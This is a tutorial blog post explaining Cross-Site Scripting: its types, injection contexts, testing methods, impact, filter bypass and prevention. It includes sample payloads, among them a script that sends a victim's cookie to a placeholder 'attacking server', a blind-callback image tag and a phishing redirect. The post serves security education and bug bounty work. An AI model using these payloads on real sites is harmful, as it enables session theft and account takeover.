Cross-site Scripting, XSS explained
Hello ethical hackers! Welcome to this new episode of the OWASP Top 10 vulnerabilities series. In this article, you will learn Cross-Site Scripting (XSS).
I’ve prepared a free practical testing lab VM which contains the best vulnerable web applications. The best approach to learn hacking is practice!
There is so much content addressing this subject, from discovery to all kinds of filter bypass. This blog post will explain all these aspects and give you references to go deeper for each one. Hopefully, it will be a general guide for you to come back to when you need anything related to XSS.
During this episode, you will learn the following:
- How does this vulnerability work? This is where you will understand the underlying concepts which allow for a Cross-Site Scripting vulnerability to happen. You can’t understand the rest if you don’t understand this section.
- What are the types of XSS? We will explore all the different types with examples.
- Where to find it? I will share with you the different injection contexts where XSS might occur.
- How to test for it? In this section, you will learn the different approaches to testing for this vulnerability.
- Filter bypass: You will learn how to bypass a Cross-Site Scripting filter bypass in a challenge.
- Some attack examples: You will find and analyze real bugs disclosed on Hackerone. Hopefully, this will inspire you to find them yourself.
- What is the impact? Once you have found a Cross-Site Scripting vulnerability, you will learn what you can do with it.
- How to prevent it? If you are a developer and want to secure your code against this issue, or if you are a bug bounty hunter trying to write an exhaustive report including how to mitigate it, this section is for you.
- References for further reading: There are many awesome in-depth references which will help you go even deeper in particular aspects of this topic.
How does XSS work?
Web applications serve HTML to the Web Browsers, which typically contain JavaScript to instruct them how to perform many operations, such as:
- Producing an interactive user experience with animations, transitions, etc.
- Making API calls to the back-end server.
Web Applications also process user inputs and show the result in the rendered HTML. For example, when you write a comment, the application stores it and shows it in the comments section.
Cross-Site scripting happens when the application fails to properly encode user input when the Web browser processes it. Therefore, an attacker can inject arbitrary JavaScript code inside the vulnerable application. When the victim navigates to the vulnerable page, the Web Browser runs the malicious JavaScript code.
To continue on the previous example, an attacker can insert JavaScript code in the comment field. As a result, when the victim’s Web Browser renders the HTML comments page, the attacker’s JavaScript code runs against the victim.
Types of Cross-Site Scripting
There are three types of Cross-Site Scripting. Each one has its own use cases.
Reflected Cross-Site Scripting
As the name suggests, this type happens when the backend reflects untrusted user input into the HTML result page. For example, you navigate to vulnerable.site/search?query=example
. Then, the backend fetches the data from a datastore and returns the result <h1>example book</h1>
. An attacker can insert </h1><script>alert('XSS')</script><h1>
into the query parameter to instruct the Web Browser to run the JavaScript alert
function. Therefore, the full malicious URL would be: vulnerable.site/search?query=<code></h1><script>alert('XSS')</script><h1></code>
. Consequently, a popup appears in the result HTML page.
In order to target a victim, the attacker must entice him/her to click on the malicious URL so that the popup triggers on his/her Web Browser.
Stored Cross-Site Scripting
In a Stored XSS scenario, the malicious payload we saw earlier gets stored in the database. Let’s consider a comment feature where users comment on an article and list all the comments. An attacker injects <script>alert(123)</script>
. Therefore, any victim which navigates to the comments page will see a popup in his/her Web Browser.
Note that the attacker doesn’t necessarily need to share the link with the victim.
DOM Cross-Site Scripting
This is a special case of reflected XSS. In fact, the payload doesn’t reach the server. Instead, it ends up in a JavaScript piece of code. For example, suppose you have a web page which redirects users based on the hash value. You can open the following code in your Web Browser and experiment with it:
<script>
var path = document.location.hash.substring(1);
window.location = path;
</script>
An attacker can trigger the vulnerability using the following URL: /path/to/the/file#javascript:alert(123)
Note that you didn’t have to set up any Web Server to run arbitrary JavaScript code.
Note: When you find a Cross-Site Scripting vulnerability which cannot exploit other users, it is called a Self-XSS. For example, you can’t target other users with your shipping address shown in your private profile. Therefore, you need to chain it with another vulnerability, like CSRF, to prove a concrete impact.
Now that you understand how XSS works, let’s explore where to find it.
Where to find XSS?
You can find it in many contexts, depending on where your input gets inserted. The following are some use cases. In all the injection contexts, the general idea is to construct a valid HTML piece of code which will trigger your XSS.
Inject in HTML tags
When you notice your user input inside HTML tags, you have to test if you can inject arbitrary tags. For example, let’s suppose that the following endpoint /search?query=hacking
returns <h1>Results for hacking are …</h1>
. You can replace hacking with <img>
. If you see a broken image in the result, this is a strong indication that you can achieve an Cross-site Scripting.
Inject in HTML attributes
When you notice your user input inside HTML attributes, you have to test if you can inject arbitrary attributes or escape from the context of the attribute. For example, let’s suppose that the following endpoint /search?query=hacking
returns <h1 id="hacking">Results are …</h1>
. You can replace hacking with dummy style="color:red"
. If you see a the text Results are …
in red, this is a strong indication that you can achieve an XSS. Besides, you can also inject dummy"><img src=x><h1
and see whether you can inject an image. If you succeed, this indicates that you can escape the context of the attribute and potentially inject arbitrary tags, falling back to injection in the HTML tags context.
Inject in JavaScript
When your input ends up inside a JavaScript code, try to build a valid instruction. For example, let’s suppose that the following endpoint /search?query=hacking
returns <h1>var query = "hacking"<h1>
. In this case, try to inject hacking";console.log("potential XSS");//
. If you see the message potential XSS
in the Web Browser’s console, this means that you have achieved an XSS.
Inject in a JSON response
Sometimes, an API returns a JSON response with a Content-Type HTTP header of text/html
. If this happens, try to inject a HTML tag like <img>
and see if your Web Browser gets a broken image.
Because XSS can trigger in many injection contexts, you can use Cross-Site Scripting polyglots which are designed to cover as many contexts as possible. For example, have a look at this polyglot which targets many injection contexts.
How to test for XSS?
There are many approaches you can follow to hunt and test for XSS.
Manual, error-based testing
This is the most basic approach. Basically, you inject a payload in all the fields that you find. Whenever an XSS triggers, you will see a popup. Although you can find this vulnerability with this basic technique, it is a tedious task. Besides, there are some cases where you will not see a popup. For example, the XSS can trigger in a separate application run by an agent.
Manual, blind-based testing
In order to increase your chance of finding XSS, you can use a blind approach. Basically, instead of relying on a popup as proof, you can inject a callback to a server which you control. For example, you can inject <img src=”http://malicious-server”>
. When an XSS triggers, you will get a callback to your server.
There are many tools which simplify this process and provide more information when the XSS triggers. You can use BeEF or xsshunter for that purpose.
Automated approach using XSS testing tools
This is where automated scanners come into play. For example, you can use Burp Suite Pro or OWASP ZAP to test for Cross-Site Scripting vulnerabilities. As we demonstrated in the SQL injection hands-on tutorial, both of them allow you to target specific vulnerabilities. Besides, there is a rising tool, currently on beta, called KNOXSS which specializes in finding reflected and DOM XSS at the moment.
XSS impact, beyond alert
So far, we’ve just used the JavaScript’s alert
function to prove the existence of XSS. This is more than enough for the majority of your clients. However, you can go beyond that when your client gives you permission.
When you succeed at exploiting a Cross-site Scripting vulnerability, it’s like you’ve got a chair in front of the victim’s Web Browser. You can perform almost all the operations the user can do on the vulnerable application.
Forge requests
If cookies are well protected, you can target a feature in the application. For example, if the application allows you to edit the email without asking for a password, you can forge a request using JavaScript and edit the email. Then, when you can reset the victim’s password, you will receive the password reset link in your email address. Therefore, you will achieve an account takeover.
Steal cookies and sensitive data
XSS allows you to steal unprotected Cookies and tokens. For example, the following JavaScript code will exfiltrate the victim’s cookie of a vulnerable web application.
<img id="xss"><script>document.getElementById("xss").src="your-attacking-server/?cookie="+document.cookie</script>
The code above inserts an image with id xss
in the vulnerable page. Then, it sets its src
attribute to point to your attacking website while appending the victim’s cookie. When the victim loads the page, you will get the cookie value as part of the callback URL which you receive in your attacking server.
Redirect to a malicious website
You can also inject JavaScript code to redirect users to your malicious website, which might be a replica of the original application’s login page. Usually, people don’t pay attention to the address bar, especially if they are on mobile. For example, the following script will redirect users to your server.
<script>window.location="your-server"</script>
Deface a website
Another way to exploit XSS is to deface the vulnerable page itself. This technique is usually used by hacktivists to harm the image of the target.
XSS filter bypass
You might think that the best approach to prevent this issue would be to sanitize user inputs. Unfortunately, this is not the case. In fact, hackers always find bypasses to XSS filters. OWASP provides the XSS filter evasion cheat sheet which hackers typically use for this purpose.
In the video tutorial at the end of this article, you can see how a poorly written filter doesn’t prevent XSS.
Cross-Site Scripting prevention
The basic idea to prevent XSS is to tell the Web Browser how to differentiate between HTML and the data. You do that by properly encoding the data. For example, you can perform HTML entity encoding to transform the malicious user input <img>
into <img>
. When the browser sees that encoded string, it doesn’t consider an image tag.
Of course, you need to take into consideration each injection context. That’s why you should use an encoding library. For example, OWASP Encoder allows you to properly encode user inputs to prevent XSS in Java.
XSS attack examples
Let’s start with a reflected XSS. This report demonstrates how you can redirect the victim to an arbitrary location.
In this report, the hacker stores a payload in the name of a resource. When the victim loads it, the Stored XSS triggers.
This report is an example of a DOM XSS. I chose it because Hackerone uses Content Security Policy (CSP), which makes it hard to exploit XSS. However, it is not impossible.
Finally, this report demonstrates how you should never trust a WAF to totally protect you against attackers. While it prevents the majority of them, determined hackers will always find a way to bypass XSS filters.
XSS references and cheat sheets
XSS is a big topic and I can’t include everything in detail in one post. I’ve tried to make it as exhaustive as I can. So, here is a list of references which you can explore when you want to dig deeper into Cross-Site Scripting.
- XSS payloads in GitHub repositories: There are many repositories for this purpose, this one is exhaustive. If you want a text file to use in your fuzzing, you can use this one.
- Britelogic’s webGun payload builder: An interactive XSS payload builder to help you find the payload which fits your needs.
- Portswigger’s XSS cheat sheet: Provides both interactive and PDF resources which help you find the best payload to use for a specific injection context. It will help you to find a filter bypass as well.
- OWASP XSS prevention cheat sheet: An in-depth overview of the different prevention rules to mitigate XSS.
That was it! I hope you enjoyed reading this article and learned something new. If you did, share the knowledge with your network! Until then, stay curious, learn new things and go find some bugs.
Here is your XSS video tutorial.